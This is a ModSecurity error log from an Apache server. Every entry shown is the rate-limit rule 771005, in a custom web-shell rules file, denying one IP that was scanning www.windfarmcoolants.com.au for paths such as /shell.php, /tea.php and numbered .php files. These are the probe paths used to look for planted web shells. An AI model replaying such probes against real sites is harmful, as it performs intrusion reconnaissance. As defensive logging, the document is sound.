[Tue Apr 21 16:34:38.088513 2026] [:error] [pid 35320:tid 35341] [client 98.71.67.66:17237] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/13.php"] [unique_id "aec2noJW6fdXWO6agME-_wAAAAs"]
[Tue Apr 21 16:34:38.740417 2026] [:error] [pid 4823:tid 4868] [client 98.71.67.66:1309] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/13.php"] [unique_id "aec2nvc8mke3PfHqsxHZlgAAAY8"]
[Tue Apr 21 16:34:39.362199 2026] [:error] [pid 4777:tid 4789] [client 98.71.67.66:1067] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/11.php"] [unique_id "aec2n6xXur6bykKyLZSPdwAAAQE"]
[Tue Apr 21 16:34:40.074286 2026] [:error] [pid 35320:tid 35332] [client 98.71.67.66:30092] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/11.php"] [unique_id "aec2oIJW6fdXWO6agME_CAAAAAI"]
[Tue Apr 21 16:34:40.868028 2026] [:error] [pid 4823:tid 4853] [client 98.71.67.66:31963] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/11.php"] [unique_id "aec2oPc8mke3PfHqsxHZmwAAAYA"]
[Tue Apr 21 16:34:41.541121 2026] [:error] [pid 54080:tid 54092] [client 98.71.67.66:1045] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/11.php"] [unique_id "aec2oYzEbQHHxtmWbaZ07QAAAso"]
[Tue Apr 21 16:34:42.180694 2026] [:error] [pid 35320:tid 35354] [client 98.71.67.66:42869] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/p.php"] [unique_id "aec2ooJW6fdXWO6agME_EQAAABg"]
[Tue Apr 21 16:34:42.778226 2026] [:error] [pid 54080:tid 54105] [client 98.71.67.66:1083] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/p.php"] [unique_id "aec2oozEbQHHxtmWbaZ08AAAAtc"]
[Tue Apr 21 16:34:43.653512 2026] [:error] [pid 35320:tid 35339] [client 98.71.67.66:36923] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/p.php"] [unique_id "aec2o4JW6fdXWO6agME_GAAAAAk"]
[Tue Apr 21 16:34:44.334356 2026] [:error] [pid 54080:tid 54090] [client 98.71.67.66:17244] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/p.php"] [unique_id "aec2pIzEbQHHxtmWbaZ08gAAAsg"]
[Tue Apr 21 16:34:44.930427 2026] [:error] [pid 54080:tid 54086] [client 98.71.67.66:1044] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/Requests/"] [unique_id "aec2pIzEbQHHxtmWbaZ08wAAAsQ"]
[Tue Apr 21 16:34:45.561594 2026] [:error] [pid 54080:tid 54104] [client 98.71.67.66:31991] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/Requests/"] [unique_id "aec2pYzEbQHHxtmWbaZ0-QAAAtY"]
[Tue Apr 21 16:34:46.286620 2026] [:error] [pid 4777:tid 4788] [client 98.71.67.66:31975] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/Requests/"] [unique_id "aec2pqxXur6bykKyLZSPeAAAAQA"]
[Tue Apr 21 16:34:47.013718 2026] [:error] [pid 35320:tid 35339] [client 98.71.67.66:30100] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/Requests/"] [unique_id "aec2p4JW6fdXWO6agME_IQAAAAk"]
[Tue Apr 21 16:34:47.869391 2026] [:error] [pid 54080:tid 54097] [client 98.71.67.66:1307] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/bthil.php"] [unique_id "aec2p4zEbQHHxtmWbaZ0_gAAAs8"]
[Tue Apr 21 16:34:48.540637 2026] [:error] [pid 54080:tid 54101] [client 98.71.67.66:17224] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/bthil.php"] [unique_id "aec2qIzEbQHHxtmWbaZ1AAAAAtM"]
[Tue Apr 21 16:34:49.181051 2026] [:error] [pid 54080:tid 54082] [client 98.71.67.66:1076] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/bthil.php"] [unique_id "aec2qYzEbQHHxtmWbaZ1BAAAAsA"]
[Tue Apr 21 16:34:49.896842 2026] [:error] [pid 35321:tid 35399] [client 98.71.67.66:49385] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/bthil.php"] [unique_id "aec2qTeHLhVUuu8cVXzfdQAAAE8"]
[Tue Apr 21 16:34:50.498454 2026] [:error] [pid 4823:tid 4860] [client 98.71.67.66:26906] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/shell.php"] [unique_id "aec2qvc8mke3PfHqsxHZpwAAAYc"]
[Tue Apr 21 16:34:51.214700 2026] [:error] [pid 53978:tid 53981] [client 98.71.67.66:17210] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/shell.php"] [unique_id "aec2q51ivsR4hcOSQbbB1wAAAoE"]
[Tue Apr 21 16:34:51.824487 2026] [:error] [pid 35321:tid 35403] [client 98.71.67.66:65262] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/shell.php"] [unique_id "aec2qzeHLhVUuu8cVXzffAAAAFM"]
[Tue Apr 21 16:34:52.581517 2026] [:error] [pid 53731:tid 53756] [client 98.71.67.66:17252] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/shell.php"] [unique_id "aec2rF2I9THUR-bRVGzneAAAAhQ"]
[Tue Apr 21 16:34:53.233062 2026] [:error] [pid 35320:tid 35331] [client 98.71.67.66:1329] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/tea.php"] [unique_id "aec2rYJW6fdXWO6agME_SQAAAAE"]
[Tue Apr 21 16:34:53.836552 2026] [:error] [pid 35320:tid 35333] [client 98.71.67.66:31976] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/tea.php"] [unique_id "aec2rYJW6fdXWO6agME_TwAAAAM"]
[Tue Apr 21 16:34:54.465415 2026] [:error] [pid 53731:tid 53748] [client 98.71.67.66:31951] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/tea.php"] [unique_id "aec2rl2I9THUR-bRVGznfQAAAg0"]
[Tue Apr 21 16:34:55.086627 2026] [:error] [pid 35320:tid 35343] [client 98.71.67.66:1032] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/tea.php"] [unique_id "aec2r4JW6fdXWO6agME_XAAAAA0"]
[Tue Apr 21 16:34:55.684515 2026] [:error] [pid 4823:tid 4868] [client 98.71.67.66:17200] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/seo.php"] [unique_id "aec2r_c8mke3PfHqsxHZrQAAAY8"]
[Tue Apr 21 16:34:56.435670 2026] [:error] [pid 35320:tid 35351] [client 98.71.67.66:49387] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/seo.php"] [unique_id "aec2sIJW6fdXWO6agME_ZQAAABU"]
[Tue Apr 21 16:34:57.145947 2026] [:error] [pid 35320:tid 35330] [client 98.71.67.66:1086] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/seo.php"] [unique_id "aec2sYJW6fdXWO6agME_aAAAAAA"]
[Tue Apr 21 16:34:57.717705 2026] [:error] [pid 35320:tid 35335] [client 98.71.67.66:17229] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/seo.php"] [unique_id "aec2sYJW6fdXWO6agME_cAAAAAU"]
[Tue Apr 21 16:34:58.531840 2026] [:error] [pid 35320:tid 35331] [client 98.71.67.66:65266] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "aec2soJW6fdXWO6agME_dwAAAAE"]
[Tue Apr 21 16:34:59.150428 2026] [:error] [pid 53731:tid 53758] [client 98.71.67.66:17270] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "aec2s12I9THUR-bRVGznhAAAAhY"]
[Tue Apr 21 16:34:59.802961 2026] [:error] [pid 35320:tid 35331] [client 98.71.67.66:1087] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "aec2s4JW6fdXWO6agME_hQAAAAE"]
[Tue Apr 21 16:35:00.354497 2026] [:error] [pid 35320:tid 35348] [client 98.71.67.66:16539] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "aec2tIJW6fdXWO6agME_igAAABI"]
[Tue Apr 21 16:35:01.185649 2026] [:error] [pid 54080:tid 54094] [client 98.71.67.66:16571] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/8.php"] [unique_id "aec2tYzEbQHHxtmWbaZ1DwAAAsw"]
[Tue Apr 21 16:35:02.212780 2026] [:error] [pid 54080:tid 54091] [client 98.71.67.66:1072] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/8.php"] [unique_id "aec2tozEbQHHxtmWbaZ1EQAAAsk"]
[Tue Apr 21 16:35:03.136149 2026] [:error] [pid 54080:tid 54090] [client 98.71.67.66:17220] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/8.php"] [unique_id "aec2t4zEbQHHxtmWbaZ1FQAAAsg"]
[Tue Apr 21 16:35:04.025700 2026] [:error] [pid 54080:tid 54105] [client 98.71.67.66:65272] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/8.php"] [unique_id "aec2uIzEbQHHxtmWbaZ1HQAAAtc"]
[Tue Apr 21 16:35:05.057532 2026] [:error] [pid 54080:tid 54102] [client 98.71.67.66:30715] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/1.php"] [unique_id "aec2uYzEbQHHxtmWbaZ1KAAAAtQ"]
[Tue Apr 21 16:35:05.764802 2026] [:error] [pid 53978:tid 53998] [client 98.71.67.66:34280] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/1.php"] [unique_id "aec2uZ1ivsR4hcOSQbbB3AAAApI"]
[Tue Apr 21 16:35:06.641588 2026] [:error] [pid 53978:tid 53990] [client 98.71.67.66:17264] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/1.php"] [unique_id "aec2up1ivsR4hcOSQbbB4gAAAoo"]
[Tue Apr 21 16:35:07.466588 2026] [:error] [pid 35415:tid 35437] [client 98.71.67.66:34259] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/1.php"] [unique_id "aec2u0iqDinI4_22zzhfUQAAAMo"]
[Tue Apr 21 16:35:08.238605 2026] [:error] [pid 35321:tid 35394] [client 98.71.67.66:1328] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "aec2vDeHLhVUuu8cVXzfkgAAAEo"]
[Tue Apr 21 16:35:08.940976 2026] [:error] [pid 35320:tid 35354] [client 98.71.67.66:30097] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "aec2vIJW6fdXWO6agME_qQAAABg"]
[Tue Apr 21 16:35:09.704961 2026] [:error] [pid 35321:tid 35385] [client 98.71.67.66:30677] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "aec2vTeHLhVUuu8cVXzflgAAAEE"]
[Tue Apr 21 16:35:10.315195 2026] [:error] [pid 35320:tid 35337] [client 98.71.67.66:17230] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "aec2voJW6fdXWO6agME_sAAAAAc"]
[Tue Apr 21 16:35:11.111050 2026] [:error] [pid 35320:tid 35338] [client 98.71.67.66:34290] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/3.php"] [unique_id "aec2v4JW6fdXWO6agME_tQAAAAg"]
[Tue Apr 21 16:35:11.686981 2026] [:error] [pid 35321:tid 35387] [client 98.71.67.66:17257] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/3.php"] [unique_id "aec2vzeHLhVUuu8cVXzfmwAAAEM"]
[Tue Apr 21 16:35:12.508557 2026] [:error] [pid 53978:tid 54003] [client 98.71.67.66:1033] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/3.php"] [unique_id "aec2wJ1ivsR4hcOSQbbB6AAAApc"]
[Tue Apr 21 16:35:13.107707 2026] [:error] [pid 35321:tid 35394] [client 98.71.67.66:49383] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/3.php"] [unique_id "aec2wTeHLhVUuu8cVXzfoAAAAEo"]
[Tue Apr 21 16:35:13.790043 2026] [:error] [pid 35321:tid 35404] [client 98.71.67.66:1051] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/4.php"] [unique_id "aec2wTeHLhVUuu8cVXzfpwAAAFQ"]
[Tue Apr 21 16:35:14.526435 2026] [:error] [pid 53978:tid 53998] [client 98.71.67.66:34937] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/4.php"] [unique_id "aec2wp1ivsR4hcOSQbbB7AAAApI"]
[Tue Apr 21 16:35:15.191375 2026] [:error] [pid 4823:tid 4873] [client 98.71.67.66:65269] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/4.php"] [unique_id "aec2w_c8mke3PfHqsxHZsgAAAZQ"]
[Tue Apr 21 16:35:15.749493 2026] [:error] [pid 53978:tid 54004] [client 98.71.67.66:1081] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/4.php"] [unique_id "aec2w51ivsR4hcOSQbbB9AAAApg"]
[Tue Apr 21 16:35:16.493283 2026] [:error] [pid 4823:tid 4858] [client 98.71.67.66:1043] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/5.php"] [unique_id "aec2xPc8mke3PfHqsxHZuAAAAYU"]
[Tue Apr 21 16:35:17.069821 2026] [:error] [pid 35321:tid 35401] [client 98.71.67.66:65226] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/5.php"] [unique_id "aec2xTeHLhVUuu8cVXzfqwAAAFE"]
